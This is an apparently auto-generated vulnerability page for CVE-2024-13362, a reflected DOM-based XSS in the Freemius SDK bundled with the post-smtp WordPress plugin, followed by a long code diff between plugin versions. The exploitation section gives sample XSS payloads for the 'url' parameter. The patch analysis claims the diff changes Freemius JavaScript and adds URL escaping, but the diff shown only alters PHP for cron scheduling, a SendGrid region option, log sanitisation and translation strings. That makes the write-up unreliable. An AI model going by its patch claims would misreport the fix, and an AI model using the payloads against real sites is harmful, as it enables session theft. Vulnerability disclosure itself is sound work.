Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (post-smtp)

Plugin post-smtp
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 3.0.0
Patched Version 3.1.0
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:
This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) vulnerability identified in multiple WordPress plugins and themes that utilize the Freemius SDK library (versions up to and including 2.10.1). The flaw permits unauthenticated attackers to inject arbitrary web scripts or HTML via the ‘url’ parameter. The attack executes in a user’s browser session when the victim is tricked into clicking a crafted link, leading to potential data theft, session hijacking, or defacement.

Root Cause:
The root cause lies within the Freemius SDK’s handling of the ‘url’ parameter. The SDK’s code does not properly sanitize or escape user-supplied input before rendering it within the DOM. The affected component is the Freemius SDK’s checkout or redirect logic, which processes the ‘url’ parameter and writes it directly into the page without proper output encoding. This is a classic DOM-based XSS pattern, where the vulnerable JavaScript code reads from the URL hash or query string (e.g., window.location.href) and injects it into the page without proper escaping.

Exploitation:
An attacker constructs a malicious URL that points to a legitimate page on a site running an affected plugin/theme. The URL includes the ‘url’ parameter containing a JavaScript payload (e.g., ?url=javascript:alert(‘XSS’) or ?url=”>alert(1)). The Freemius JavaScript fails to sanitize this value and writes it into the DOM (e.g., as an href attribute or innerHTML), causing the script to execute in the victim’s browser. The attack requires user interaction, such as clicking the malicious link.

Patch Analysis:
The patch introduces a check to verify the presence of the ‘url’ parameter and adds output escaping using WordPress functions like esc_url() before the value is used in the DOM. The vulnerable JavaScript now encodes or rejects unescaped input, preventing script injection. The diff shows changes to the Freemius SDK’s JavaScript files, specifically where the url parameter is read and written to the page.

Impact:
Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of the victim’s WordPress admin session. This can lead to session hijacking, theft of authentication cookies, privilege escalation (if the victim is an admin), defacement, redirection to malicious sites, or silent credential harvesting. The attack is limited by the need for user interaction but poses a significant risk in phishing campaigns.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/post-smtp/Postman/Dashboard/NewDashboard.php
+++ b/post-smtp/Postman/Dashboard/NewDashboard.php
@@ -11,7 +11,15 @@
             add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) );
             add_filter( 'post_smtp__new_dashboard', '__return_true' );
             add_action( 'post_smtp__new_dashboard_content', array( $this, 'dashboard_content' ) );
-            add_filter( 'post_smtp_dashboard_opened_emails_count', array( $this, 'opened_email_count' ), 10, 2 );
+
+            if (
+                is_plugin_active( 'report-and-tracking-addon-premium/post-smtp-report-and-tracking.php' )
+                ||
+                is_plugin_active( 'post-smtp-pro/post-smtp-pro.php' )
+            ) {
+                add_filter( 'post_smtp_dashboard_opened_emails_count', array( $this, 'opened_email_count' ), 10, 2 );
+            }
+
         }

 		private function include() {
@@ -19,22 +27,24 @@
 		}

         public function admin_enqueue_scripts( $hook ) {
-            wp_enqueue_script( 'post-smtp-dashboard', POST_SMTP_URL . '/Postman/Dashboard/assets/js/app.js', array( 'wp-i18n' ), POST_SMTP_VER, true );
-            wp_localize_script(
-                'post-smtp-dashboard',
-                'postSmtpNewDashboard',
-                array(
-                    'plugin_dir_url' => plugin_dir_url( __FILE__ ),
-	                'json_url'       => rest_url( 'psd/v1' ),
-                    'nonce'          => wp_create_nonce( 'wp_rest' ),
-	                'admin_url'      => admin_url( 'admin.php' ),
-	                'page_hook'      => $hook,
-                    'is_bfcm'        => postman_is_bfcm()
-                )
-            );
-
-            wp_enqueue_style('post-smtp-dashboard', POST_SMTP_URL . '/Postman/Dashboard/assets/css/app.css', array(), POST_SMTP_VER, 'all' );
-			wp_enqueue_style( 'post-smtp-dashboard-responsive', POST_SMTP_URL. '/Postman/Dashboard/assets/css/responsive-style.css', array(), POST_SMTP_VER, 'all' );
+			if ( 'toplevel_page_postman' === $hook ) {
+				wp_enqueue_script( 'post-smtp-dashboard', POST_SMTP_URL . '/Postman/Dashboard/assets/js/app.js', array( 'wp-i18n' ), POST_SMTP_VER, true );
+				wp_localize_script(
+					'post-smtp-dashboard',
+					'postSmtpNewDashboard',
+					array(
+						'plugin_dir_url' => plugin_dir_url( __FILE__ ),
+						'json_url'       => rest_url( 'psd/v1' ),
+						'nonce'          => wp_create_nonce( 'wp_rest' ),
+						'admin_url'      => admin_url( 'admin.php' ),
+						'page_hook'      => $hook,
+						'is_bfcm'        => postman_is_bfcm()
+					)
+				);
+
+				wp_enqueue_style( 'post-smtp-dashboard', POST_SMTP_URL . '/Postman/Dashboard/assets/css/app.css', array(), POST_SMTP_VER, 'all' );
+				wp_enqueue_style( 'post-smtp-dashboard-responsive', POST_SMTP_URL . '/Postman/Dashboard/assets/css/responsive-style.css', array(), POST_SMTP_VER, 'all' );
+			}
         }

         public function dashboard_content() {
--- a/post-smtp/Postman/Extensions/Core/Notifications/PostmanNotify.php
+++ b/post-smtp/Postman/Extensions/Core/Notifications/PostmanNotify.php
@@ -84,10 +84,15 @@

         //Webhook Alerts
         $webhook_urls = array();
-        foreach ( $_POST['postman_options']['webhook_alerts_urls'] as $key => $url ) {

-            if( ! empty( $url ) ) {
-                $webhook_urls[] = esc_url( $url );
+        if( isset( $_POST['postman_options']['webhook_alerts_urls'] ) ) {
+
+            foreach ( $_POST['postman_options']['webhook_alerts_urls'] as $key => $url ) {
+
+                if( ! empty( $url ) ) {
+                    $webhook_urls[] = esc_url( $url );
+                }
+
             }

         }
--- a/post-smtp/Postman/Postman-Email-Health-Report/PostmanEmailReportSending.php
+++ b/post-smtp/Postman/Postman-Email-Health-Report/PostmanEmailReportSending.php
@@ -36,53 +36,93 @@
 		 * @version 1.0.0
 		 */
 		public function __construct() {
-
-			add_action( 'init', array( $this, 'send_report' ) );
+			add_action( 'init', array( $this, 'schedule_email_reporting' ) );
+			add_action( 'postman_rat_email_report', array( $this,  'handle_email_reporting' ) );
+			add_filter( 'cron_schedules', array( $this, 'add_monthly_schedule' ) );
 		}

+
 		/**
-		 * Send the report
+		 * Schedules the email reporting cron event based on user-defined settings.
 		 *
-		 * @since 2.9.0
-		 * @version 1.0.0
+		 * This function retrieves the reporting interval from plugin options and schedules
+		 * a WordPress cron job accordingly. If a schedule already exists and its interval
+		 * is different from the new one, the existing schedule is unscheduled and a new
+		 * schedule is created.
+		 * @since 3.0.1
+		 * @version 3.0.1
 		 */
-		public function send_report() {
-
+		public function schedule_email_reporting() {
 			$options = get_option( 'postman_rat' );
+			if ( $options && isset( $options['enable_email_reporting'] ) && $options['enable_email_reporting'] ) {
+				$interval = isset( $options['reporting_interval'] ) ? $options['reporting_interval'] : false;

-			$enabled = ( $options && isset( $options['enable_email_reporting'] ) ) ? $options['enable_email_reporting'] : false;
-
-			$interval = ( $options && isset( $options['reporting_interval'] ) ) ? $options['reporting_interval'] : false;
-
-			$has_sent = get_transient( 'ps_rat_has_sent' );
-
-			// If transient expired, let's send :).
-			if ( $enabled && $interval && ! $has_sent ) {
-
-				$expiry_time = '';
-				$report_sent = $this->send_mail( $interval );
-
-				if ( $report_sent ) {
-
-					if ( $interval === 'd' ) {
-
-						$expiry_time = DAY_IN_SECONDS;
-					}
-					if ( $interval === 'w' ) {
-
-						$expiry_time = WEEK_IN_SECONDS;
+				if ( $interval ) {
+					$schedules = array(
+						'd' => 'daily',
+						'w' => 'weekly',
+						'm' => 'monthly',
+					);
+
+					$schedule = isset( $schedules[ $interval ] ) ? $schedules[ $interval ] : false;
+					if ( $schedule ) {
+						$timestamp = wp_next_scheduled( 'postman_rat_email_report' );
+						if ( $timestamp ) {
+							$current_interval = wp_get_schedule( 'postman_rat_email_report' );
+							if ( $current_interval !== $schedule ) {
+								wp_unschedule_event( $timestamp, 'postman_rat_email_report' );
+							} else {
+								return;
+							}
+						}
+						$current_time = current_time( 'timestamp' );
+						$midnight = strtotime( 'tomorrow midnight', $current_time ) - 1;
+						wp_schedule_event( $current_time, $schedule, 'postman_rat_email_report' );
 					}
-					if ( $interval === 'm' ) {
+				}
+			}else{
+				$interval = isset( $options['reporting_interval'] ) ? $options['reporting_interval'] : false;
+				$timestamp = wp_next_scheduled( 'postman_rat_email_report' );
+				if ( $timestamp ) {
+				  wp_unschedule_event( $timestamp, 'postman_rat_email_report' );
+				}
+			}
+		}

-						$expiry_time = MONTH_IN_SECONDS;
-					}
+		/**
+		 * Handles the email reporting functionality triggered by the cron job.
+		 *
+		 * This function checks if email reporting is enabled and retrieves the configured
+		 * reporting interval. If both conditions are met, it triggers the email-sending
+		 * functionality.
+		 *  @since 3.0.1
+		 *  @version 3.0.1
+		 */
+		public function handle_email_reporting() {
+			$options = get_option( 'postman_rat' );
+			$enabled = isset( $options['enable_email_reporting'] ) ? $options['enable_email_reporting'] : false;
+			$interval = isset( $options['reporting_interval'] ) ? $options['reporting_interval'] : false;

-					// Set Future Transient :D.
-					set_transient( 'ps_rat_has_sent', '1', $expiry_time );
-				}
+			if ( $enabled && $interval ) {
+				$report_sent = $this->send_mail( $interval );
 			}
 		}

+		/**
+		 * Add a custom monthly schedule to WordPress's cron system.
+		 *
+		 * @param array $schedules The existing cron schedules.
+		 * @return array Modified array of cron schedules with 'monthly' added.
+		 * @since 3.0.1
+		 * @version 3.0.1
+		 */
+		public function add_monthly_schedule( $schedules ) {
+			$schedules['monthly'] = array(
+				'interval' => 30 * DAY_IN_SECONDS,
+				'display'  => __( 'Once Monthly', 'post-smtp' ),
+			);
+			return $schedules;
+    	}

 		/**
 		 * Get total email count
--- a/post-smtp/Postman/Postman-Email-Log/PostmanEmailLogService.php
+++ b/post-smtp/Postman/Postman-Email-Log/PostmanEmailLogService.php
@@ -161,15 +161,15 @@
 				$data['solution'] = apply_filters( 'post_smtp_log_solution', null, $new_status, $log, $message );
 				$data['success'] = empty( $new_status ) ? 1 : $new_status;
 				$data['from_header'] = $log->sender;
-				$data['to_header'] = !empty( $log->toRecipients ) ? $log->toRecipients : '';
-				$data['cc_header'] = !empty( $log->ccRecipients ) ? $log->ccRecipients : '';
-				$data['bcc_header'] = !empty( $log->bccRecipients ) ? $log->bccRecipients : '';
-				$data['reply_to_header'] = !empty( $log->replyTo ) ? $log->replyTo : '';
-				$data['transport_uri'] = !empty( $log->transportUri ) ? $log->transportUri : '';
-				$data['original_to'] = is_array( $log->originalTo ) ? implode( ',', $log->originalTo ) : $log->originalTo;
-				$data['original_subject'] = !empty( $log->originalSubject ) ? $log->originalSubject : '';
-				$data['original_message'] = $log->originalMessage;
-				$data['original_headers'] = is_array($log->originalHeaders) ? serialize($log->originalHeaders) : $log->originalHeaders;
+				$data['to_header'] = !empty( $log->toRecipients ) ? implode( ',', array_map( 'sanitize_email', explode( ',', $log->toRecipients ) ) ) : '';
+                $data['cc_header'] = !empty( $log->ccRecipients ) ? implode( ',', array_map( 'sanitize_email', explode( ',', $log->ccRecipients ) ) ) : '';
+                $data['bcc_header'] = !empty( $log->bccRecipients ) ? implode( ',', array_map( 'sanitize_email', explode( ',', $log->bccRecipients ) ) ) : '';
+                $data['reply_to_header'] = !empty( $log->replyTo ) ? implode( ',', array_map( 'sanitize_email', explode( ',', $log->replyTo ) ) ) : '';
+                $data['transport_uri'] = !empty( $log->transportUri ) ? $log->transportUri : '';
+				$data['original_to'] = is_array( $log->originalTo ) ? implode( ',', array_map( 'sanitize_email', explode( ',', $log->originalTo ) ) ) : '';
+				$data['original_subject'] = !empty( $log->originalSubject ) ? sanitize_text_field( $log->originalSubject ) : '';
+				$data['original_message'] = !empty( $log->originalMessage ) ? sanitize_textarea_field( $log->originalMessage ) : '';
+				$data['original_headers'] = is_array($log->originalHeaders) ? serialize( $log->originalHeaders ) : $log->originalHeaders;
 				$data['session_transcript'] = $log->sessionTranscript;

 				$email_logs = new PostmanEmailLogs();
@@ -182,9 +182,8 @@
 				 * @version 1.0.0
 				 */
 				$log_id = apply_filters( 'post_smtp_update_email_log_id', '' );
-
 				$log_id = $email_logs->save( $data, $log_id );
-
+
 				/**
 				 * Fires after the email log is saved
 				 *
--- a/post-smtp/Postman/Postman-Email-Log/PostmanEmailQueryLog.php
+++ b/post-smtp/Postman/Postman-Email-Log/PostmanEmailQueryLog.php
@@ -141,24 +141,25 @@

         // Status Filter
         $clause_for_status = '';
-        if( !empty( $args['status'] ) ) {
+        if( isset( $args['status'] ) && !empty( $args['status'] ) ) {

             $clause_for_status = strpos( $this->query, 'WHERE' ) !== FALSE ? ' AND' : ' WHERE';
+
+            if( $args['status'] == 'success' ) {

-        }
-        if( $args['status'] == 'success' ) {
-
-            $this->query .= "{$clause_for_status} `success` = 1 ";
-
-        }
-        elseif ( $args['status'] == 'failed' ) {
-
-            $this->query .= "{$clause_for_status} `success` != 1 ";
-
-        }
-        else {
-
-            $this->query .= '';
+                $this->query .= "{$clause_for_status} `success` = 1 ";
+
+            }
+            elseif ( $args['status'] == 'failed' ) {
+
+                $this->query .= "{$clause_for_status} `success` != 1 ";
+
+            }
+            else {
+
+                $this->query .= '';
+
+            }

         }

--- a/post-smtp/Postman/Postman-Mail/PostmanSendGridTransport.php
+++ b/post-smtp/Postman/Postman-Mail/PostmanSendGridTransport.php
@@ -189,6 +189,15 @@
 				$this,
 				'sendgrid_api_key_callback'
 		), PostmanSendGridTransport::SENDGRID_AUTH_OPTIONS, PostmanSendGridTransport::SENDGRID_AUTH_SECTION );
+
+		add_settings_field(
+			PostmanOptions::SENDGRID_REGION,
+			__( 'Region', 'post-smtp' ),
+			array( $this, 'sendgrid_region_callback' ),
+			PostmanSendGridTransport::SENDGRID_AUTH_OPTIONS,
+			PostmanSendGridTransport::SENDGRID_AUTH_SECTION
+		);
+
 	}
 	public function printSendGridAuthSectionInfo() {
 		/* Translators: Where (1) is the service URL and (2) is the service name and (3) is a api key URL */
@@ -201,6 +210,24 @@
 		printf ( '<input type="password" autocomplete="off" id="sendgrid_api_key" name="postman_options[sendgrid_api_key]" value="%s" size="60" class="required ps-input ps-w-75" placeholder="%s"/>', null !== $this->options->getSendGridApiKey () ? esc_attr ( PostmanUtils::obfuscatePassword ( $this->options->getSendGridApiKey () ) ) : '', __ ( 'Required', 'post-smtp' ) );
 		print ' <input type="button" id="toggleSendGridApiKey" value="Show Password" class="button button-secondary" style="visibility:hidden" />';
 	}
+
+	/**
+	 * Renders the SendGrid region selection dropdown.
+	 *
+	 * Outputs a select box for users to choose the SendGrid region (Global or EU).
+	 *
+	 * @since 3.1.0
+	 * @version 1.0.0
+	 */
+	public function sendgrid_region_callback() {
+		$options = get_option( PostmanOptions::POSTMAN_OPTIONS );
+		$selected_region = isset( $options[ PostmanOptions::SENDGRID_REGION ] ) ? $options[ PostmanOptions::SENDGRID_REGION ] : 'Global';
+
+		echo '<select name="postman_options[' . esc_attr( PostmanOptions::SENDGRID_REGION ) . ']">';
+		echo '<option value="Global"' . selected( $selected_region, 'Global', false ) . '>' . __( 'Global', 'post-smtp' ) . '</option>';
+		echo '<option value="EU"' . selected( $selected_region, 'EU', false ) . '>' . __( 'Europe (EU)', 'post-smtp' ) . '</option>';
+		echo '</select>';
+	}

 	/**
 	 */
--- a/post-smtp/Postman/Postman-Mail/Services/SendGrid/Handler.php
+++ b/post-smtp/Postman/Postman-Mail/Services/SendGrid/Handler.php
@@ -26,6 +26,13 @@
      */
     private $base_url = 'https://api.sendgrid.com/v3/mail';

+     /**
+     * Options instance
+     *
+     * @var PostmanOptions
+     */
+    private $options;
+
     /**
      * constructor PostmanSendGrid
      *
@@ -36,13 +43,14 @@
     public function __construct( $api_key ) {

         $this->api_key = $api_key;
+        $this->options = PostmanOptions::getInstance();
+        $region = $this->options->getSendGridRegion();

-        if( apply_filters( 'post_smtp_enable_sendgrid_eu', false ) ) {
-
+        if ( 'EU' === $region || apply_filters( 'post_smtp_enable_sendgrid_eu', false ) ) {
             $this->base_url = 'https://api.eu.sendgrid.com/v3/mail';
-
         }

+        $this->base_url = apply_filters( 'post_smtp_sendgrid_base_url', $this->base_url, $region );
         parent::__construct( $this->base_url );

     }
--- a/post-smtp/Postman/Postman.php
+++ b/post-smtp/Postman/Postman.php
@@ -172,10 +172,10 @@
 		) );

 		// hook on the plugins_loaded event
-		add_action( 'plugins_loaded', array(
-				$this,
-				'on_plugins_loaded',
-		) );
+		add_action( 'init', array(
+			$this,
+			'on_init',
+		), 0 );

 		//Conflicting with backupbuddy, will be removed soon
         //add_filter( 'extra_plugin_headers', [ $this, 'add_extension_headers' ] );
@@ -213,14 +213,11 @@
 	 * "After active plugins and pluggable functions are loaded"
 	 * ref: http://codex.wordpress.org/Plugin_API/Action_Reference#Actions_Run_During_a_Typical_Request
 	 */
-	public function on_plugins_loaded() {
+	public function on_init() {

 		// register the email transports
 		$this->registerTransports( $this->rootPluginFilenameAndPath );

-		// load the text domain
-		$this->loadTextDomain();
-
 		// register the setup_admin function on plugins_loaded because we need to call
 		// current_user_can to verify the capability of the current user
 		if ( PostmanUtils::isAdmin() && is_admin() ) {
@@ -494,26 +491,6 @@
 	}

 	/**
-	 * Loads the appropriate language file
-	 */
-	private function loadTextDomain() {
-		// had to hardcode the third parameter, Relative path to WP_PLUGIN_DIR,
-		// because __FILE__ returns the wrong path if the plugin is installed as a symlink
-		$shortLocale = substr( get_locale(), 0, 2 );
-		if ( $shortLocale != 'en' ) {
-			$langDir = 'post-smtp/Postman/languages';
-			$success = load_plugin_textdomain( 'post-smtp', false, $langDir );
-			if ( $this->logger->isDebug() ) {
-				if ( $success ) {
-					$this->logger->debug( sprintf( 'local translation file loaded for locale=%s', get_locale() ) );
-				} else {
-					$this->logger->debug( sprintf( 'failed to load local translation file: locale=%s file=%s/%s-%s.mo', get_locale(), $langDir, 'post-smtp', get_locale() ) );
-				}
-			}
-		}
-	}
-
-	/**
 	 * Shortcode to return the current plugin version.
 	 *
 	 * From http://code.garyjones.co.uk/get-wordpress-plugin-version/
--- a/post-smtp/Postman/PostmanEmailLogs.php
+++ b/post-smtp/Postman/PostmanEmailLogs.php
@@ -264,12 +264,9 @@

         }
         else {
-
-            return $this->db->insert(
-                $this->db->prefix . $this->db_name,
-                $data
-            ) ? $this->db->insert_id : false;
-
+            if( isset( $data[ 'success' ] ) ) {
+                return $this->db->insert( $this->db->prefix . $this->db_name, $data  ) ? $this->db->insert_id : false;
+            }
         }

     }
--- a/post-smtp/Postman/PostmanInputSanitizer.php
+++ b/post-smtp/Postman/PostmanInputSanitizer.php
@@ -54,6 +54,7 @@
 			$this->sanitizeString( 'Client ID', PostmanOptions::CLIENT_ID, $input, $new_input );
 			$this->sanitizeString( 'Client Secret', PostmanOptions::CLIENT_SECRET, $input, $new_input );
 			$this->sanitizeString( 'Username', PostmanOptions::BASIC_AUTH_USERNAME, $input, $new_input );
+			$this->sanitizeString( 'SendGrid Region', PostmanOptions::SENDGRID_REGION, $input, $new_input, $this->options->getSendGridRegion() );
 			$this->sanitizePassword( 'Password', PostmanOptions::BASIC_AUTH_PASSWORD, $input, $new_input, $this->options->getPassword() );
 			$this->sanitizePassword( 'Mandrill API Key', PostmanOptions::MANDRILL_API_KEY, $input, $new_input, $this->options->getMandrillApiKey() );
 			$this->sanitizePassword( 'SendGrid API Key', PostmanOptions::SENDGRID_API_KEY, $input, $new_input, $this->options->getSendGridApiKey() );
--- a/post-smtp/Postman/PostmanOptions.php
+++ b/post-smtp/Postman/PostmanOptions.php
@@ -89,6 +89,7 @@
 		const BASIC_AUTH_PASSWORD = 'basic_auth_password';
 		const MANDRILL_API_KEY = 'mandrill_api_key';
 		const SENDGRID_API_KEY = 'sendgrid_api_key';
+		const SENDGRID_REGION = 'sendgrid_region';
 		const SENDINBLUE_API_KEY = 'sendinblue_api_key';
 		const MAILJET_API_KEY = 'mailjet_api_key';
 		const MAILJET_SECRET_KEY = 'mailjet_secret_key';
@@ -483,6 +484,28 @@
 			if ( isset( $this->options [ PostmanOptions::SENDGRID_API_KEY ] ) ) {
 				return base64_decode( $this->options [ PostmanOptions::SENDGRID_API_KEY ] ); }
 		}
+
+		/**
+		 * Retrieves the configured SendGrid region.
+		 *
+		 * Checks if the `POST_SMTP_API_KEY` is defined or returns the region from options.
+		 *
+		 * @since 3.1.0
+		 * @version 1.0.0
+		 *
+		 * @return string|null The SendGrid region or null if not set.
+		 */
+		public function getSendGridRegion() {
+			if ( defined( 'POST_SMTP_API_KEY' ) ) {
+				return POST_SMTP_API_KEY;
+			}
+
+			if ( isset( $this->options [ PostmanOptions::SENDGRID_REGION ] ) ) {
+				return esc_attr( $this->options[ PostmanOptions::SENDGRID_REGION ] );
+			}
+
+			return null; // Default to null if no region is set.
+		}
 		public function getMailgunApiKey() {
 			if ( defined( 'POST_SMTP_API_KEY' ) ) {
 				return POST_SMTP_API_KEY;
@@ -664,12 +687,12 @@

 		/**
 		 * (non-PHPdoc)
-		 *
-		 * @see PostmanOptions::isSenderNameOverridePrevented()
+		 *
 		 * @deprecated by isPluginSenderNameEnforced
+		 *
 		 */
 		public function isSenderNameOverridePrevented() {
-			return $this->isPluginSenderEmailEnforced();
+			return $this->isPluginSenderNameEnforced();
 		}
 		public function isPluginSenderEmailEnforced() {

--- a/post-smtp/Postman/Wizard/NewWizard.php
+++ b/post-smtp/Postman/Wizard/NewWizard.php
@@ -178,17 +178,17 @@
                             <table>
                                 <tr class="<?php echo esc_attr( $in_active ) ?>">
                                     <td class="ps-wizard-circle"><span class="ps-tick dashicons dashicons-yes-alt"></span></td>
-                                    <td class="ps-wizard-text">Choose your SMTP Mailer</td>
+                                    <td class="ps-wizard-text"><?php _e( 'Choose your SMTP Mailer', 'post-smtp' ) ?></td>
                                     <td class="ps-wizard-edit"><span class="dashicons dashicons-edit" data-step="1"></span></td>
                                 </tr>
                                 <tr class="<?php echo esc_attr( $is_active ) ?>">
                                     <td class="ps-wizard-circle"><span class="ps-tick dashicons dashicons-yes-alt"><span class="ps-wizard-line"></span></span></td>
-                                    <td class="ps-wizard-text">Configure Mailer Settings</td>
+                                    <td class="ps-wizard-text"><?php _e( 'Configure Mailer Settings', 'post-smtp' ) ?></td>
                                     <td class="ps-wizard-edit"><span class="dashicons dashicons-edit" data-step="2"></span></td>
                                 </tr>
                                 <tr class="ps-in-active-nav">
                                     <td class="ps-wizard-circle"><span class="ps-tick dashicons dashicons-yes-alt"><span class="ps-wizard-line"></span></span></td>
-                                    <td class="ps-wizard-text">Send Test Email</td>
+                                    <td class="ps-wizard-text"><?php _e( 'Send Test Email', 'post-smtp' ) ?></td>
                                     <td class="ps-wizard-edit"><span class="dashicons dashicons-edit" data-step="3"></span></td>
                                 </tr>
                             </table>
@@ -371,16 +371,16 @@
                                         ?>
                                     </div>
                                     <div class="ps-wizard-step ps-wizard-step-3">
-                                        <a href="" data-step="2" class="ps-wizard-back"><span class="dashicons dashicons-arrow-left-alt"></span>Back</a>
+                                        <a href="" data-step="2" class="ps-wizard-back"><span class="dashicons dashicons-arrow-left-alt"></span><?php _e( 'Back', 'post-smtp' ) ?></a>
                                         <p><?php _e( 'This step allows you to send an email message for testing. If there is a problem, Post SMTP will give up after 60 seconds.', 'post-smtp' ); ?></p>
                                         <div class="ps-form-ui">
                                             <div class="ps-form-control">
-                                                <div><label>Recipient Email Address</label></div>
+                                                <div><label><?php _e( 'Recipient Email Address', 'post-smtp' ) ?></label></div>
                                                 <input type="text" class="ps-test-to" required data-error="Enter Recipient Email Address" name="postman_test_options[test_email]" value="<?php echo esc_attr( wp_get_current_user()->user_email ); ?>" placeholder="Recipient Email Address">
-                                                <span class="ps-form-control-info">Enter the email address where you want to send a test email message.</span>
-                                                <p class="ps-form-control-info">Are your WordPress emails getting broken? Check out our guide on <a href="https://postmansmtp.com/fix-for-broken-emails/?utm_source=plugin&utm_medium=wizard&utm_campaign=plugin" target="_blank">how to Fix Broken Emails</a>.</p>
+                                                <span class="ps-form-control-info"><?php _e( 'Enter the email address where you want to send a test email message.', 'post-smtp' ) ?></span>
+                                                <p class="ps-form-control-info"><?php _e( 'Are your WordPress emails getting broken? Check out our guide on', 'post-smtp' ) ?> <a href="https://postmansmtp.com/fix-for-broken-emails/?utm_source=plugin&utm_medium=wizard&utm_campaign=plugin" target="_blank"><?php _e( 'how to Fix Broken Emails', 'post-smtp' ) ?></a>.</p>
                                             </div>
-                                            <button class="button button-primary ps-blue-btn ps-wizard-send-test-email" data-step="3">Send Test Email <span class="dashicons dashicons-email"></span></button>
+                                            <button class="button button-primary ps-blue-btn ps-wizard-send-test-email" data-step="3"><?php _e( 'Send Test Email', 'post-smtp' ) ?> <span class="dashicons dashicons-email"></span></button>
                                             <div>
                                                 <p class="ps-wizard-error"></p>
                                                 <p class="ps-wizard-success"></p>
@@ -395,7 +395,7 @@
                                          */
                                         printf(
                                             '%1$s <a href="%2$s" target="_blank">%3$s</a>',
-                                            __( 'We value your opinion on your experience with Post SMTP and would appreciate your feedback. ' ),
+                                            __( 'We value your opinion on your experience with Post SMTP and would appreciate your feedback. ', 'post-smtp' ),
                                             esc_url( 'https://wordpress.org/support/plugin/post-smtp/reviews/#new-post' ),
                                             __( 'Leave a review here.', 'post-smtp' )
                                         ) ?></p>
@@ -405,23 +405,23 @@
                                                 <div class="ps-mobile-notice-features">
                                                     <div class="ps-mobile-feature-left">
                                                         <span class="dashicons dashicons-yes-alt"></span>
-                                                        Easy Email Tracking
+                                                        <?php _e( 'Easy Email Tracking', 'post-smtp' ) ?>
                                                         <br>
                                                         <span class="dashicons dashicons-yes-alt"></span>
-                                                        Quickly View Error Details
+                                                        <?php _e( 'Quickly View Error Details', 'post-smtp' ) ?>
                                                         <br>
                                                         <span class="dashicons dashicons-yes-alt"></span>
-                                                        Easy Email Tracking
+                                                        <?php _e( 'Easy Email Tracking', 'post-smtp' ) ?>
                                                     </div>
                                                     <div class="ps-mobile-feature-right">
                                                         <span class="dashicons dashicons-yes-alt"></span>
-                                                        Get Email Preview
+                                                        <?php _e( 'Get Email Preview', 'post-smtp' ) ?>
                                                         <br>
                                                         <span class="dashicons dashicons-yes-alt"></span>
-                                                        Resend Failed Emails
+                                                        <?php _e( 'Resend Failed Emails', 'post-smtp' ) ?>
                                                         <br>
                                                         <span class="dashicons dashicons-yes-alt"></span>
-                                                        Support multiple sites
+                                                        <?php _e( 'Support multiple sites', 'post-smtp' ) ?>
                                                     </div>
                                                 </div>
                                                 <div style="display: flex; margin-top: 15px;">
@@ -456,13 +456,13 @@
                         <div class="ps-wizard-footer-right">
                             <div class="ps-wizard-step ps-wizard-step-1">
                                 <p class="ps-wizard-error"></p>
-                                <button class="button button-primary ps-blue-btn ps-wizard-next-btn" data-step="1">Continue <span class="dashicons dashicons-arrow-right-alt"></span></button>
+                                <button class="button button-primary ps-blue-btn ps-wizard-next-btn" data-step="1"><?php _e( 'Continue', 'post-smtp' ) ?> <span class="dashicons dashicons-arrow-right-alt"></span></button>
                                 <div style="clear: both"></div>
                             </div>
                             <div class="ps-wizard-step ps-wizard-step-2">
                                 <p class="ps-wizard-success"><?php echo ( isset( $_GET['success'] ) && isset( $_GET['msg'] ) ) ? sanitize_text_field( $_GET['msg'] ) : ''; ?></p>
                                 <p class="ps-wizard-error"><?php echo ( !isset( $_GET['success'] ) && isset( $_GET['msg'] ) ) ? sanitize_text_field( $_GET['msg'] ) : ''; ?></p>
-                                <button class="button button-primary ps-blue-btn ps-wizard-next-btn" data-step="2"></span>Save and Continue <span class="dashicons dashicons-arrow-right-alt"></span></button>
+                                <button class="button button-primary ps-blue-btn ps-wizard-next-btn" data-step="2"></span><?php _e( 'Save and Continue', 'post-smtp' ) ?> <span class="dashicons dashicons-arrow-right-alt"></span></button>
                                 <div style="clear: both"></div>
                             </div>
                             <div class="ps-wizard-step ps-wizard-step-3">
@@ -602,7 +602,7 @@
             <div class="ps-form-control">
                 <div><label>From Name</label></div>
                 <input type="text" class="ps-from-name" required data-error="'.__( 'Please enter From Name.', 'post-smtp' ).'" name="postman_options['.esc_attr( PostmanOptions::MESSAGE_SENDER_NAME ).']" value="'.$from_name.'" placeholder="From Name">
-                <span class="ps-form-control-info">The name that emails are sent from.</span>
+                <span class="ps-form-control-info">'.__( 'The name that emails are sent from.', 'post-smtp' ).'</span>
                 <div>
                     <div class="ps-form-switch-control">
                         <label class="ps-switch-1">
@@ -905,7 +905,7 @@
     public function render_sendgrid_settings() {

         $api_key = null !== $this->options->getSendGridApiKey() ? esc_attr ( $this->options->getSendGridApiKey() ) : '';
-
+        $selected_region = $this->options->getSendGridRegion() ? esc_attr( $this->options->getSendGridRegion() ) : 'AG';
         $html = sprintf(
             '<p><a href="%1$s" target="_blank">%2$s</a> %3$s</p><p>%4$s <a href="%5$s" target="_blank">%6$s</a></p>',
             esc_url( 'https://sendgrid.com/' ),
@@ -916,6 +916,8 @@
             __( 'SendGrid Documentation', 'post-smtp' )
         );

+
+
         $html .= '
         <div class="ps-form-control">
             <div><label>API Key</label></div>
@@ -935,6 +937,16 @@
         </div>
         ';

+        // Region dropdown.
+        $html .= '<div class="ps-form-control">';
+        $html .= '<div><label>' . __( 'Region', 'post-smtp' ) . '</label></div>';
+        $html .= '<select name="postman_options[' . esc_attr( PostmanOptions::SENDGRID_REGION ) . ']" class="ps-sendgrid-region">';
+        $html .= '<option value="Global" ' . selected( $selected_region, 'Global', false ) . '>' . __( 'Global', 'post-smtp' ) . '</option>';
+        $html .= '<option value="EU" ' . selected( $selected_region, 'EU', false ) . '>' . __( 'Europe (EU)', 'post-smtp' ) . '</option>';
+        $html .= '</select>';
+        $html .= '</div>';
+
+
         return $html;

     }
@@ -1647,6 +1659,7 @@
                 $sanitized['postmark_api_key'] = isset( $sanitized['postmark_api_key'] ) ? $sanitized['postmark_api_key'] : '';
